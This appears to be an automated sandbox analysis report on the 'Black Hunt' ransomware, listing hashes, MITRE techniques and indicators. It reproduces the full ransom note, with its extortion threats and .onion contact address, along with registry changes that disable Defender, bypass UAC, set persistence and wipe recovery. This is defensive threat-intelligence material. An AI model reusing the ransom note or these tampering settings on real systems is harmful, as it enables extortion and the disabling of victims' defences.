2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:52

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General

Target

2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
Size

707KB
MD5

9fe5c311e72f82d2ab891714d21705a6
SHA1

f64f0f1668c8c9a00f155f16a6767b9e11bf8fca
SHA256

2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e
SHA512

4064fdbabe1027da2053d7544efb592663f89f91218b191d4d7b176957cb6199c4e2c589bdd856c94315538fab6860b41e1fb0bbb00b601f04253d5aa3545965
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1U8Hvnh:6uaTmkZJ+naie5OTamgEoKxLWXPh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> AhpUTfbZddZ7bs7R </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3840	fsutil.exe
2980	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1924	wevtutil.exe
3264	wevtutil.exe
1212	wevtutil.exe
3824	wevtutil.exe
212	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2428	bcdedit.exe
2492	bcdedit.exe
2732	bcdedit.exe
2996	bcdedit.exe

Renames multiple (2921) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
892	wbadmin.exe
776	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2888	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\H:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\T:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\I:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\A:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\N:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\M:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\S:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\G:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\B:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\Y:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\X:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\O:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\J:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\R:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\U:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\Q:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\L:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\Z:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\V:	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Havana	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.hta	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Havana	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\topnav.gif	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\org-openide-modules.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Guadalcanal	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Yerevan	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Marengo	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-2	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\#BlackHunt_Private.key	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File created	C:\Program Files\Java\jre7\lib\zi\Antarctica\#BlackHunt_ReadMe.txt	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\YST9YDT	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\ZoneInfoMappings	2c1c8138143978414fa84bd7bd97a831a93181e6949e4b8e9f017c6181dabf2e.exe
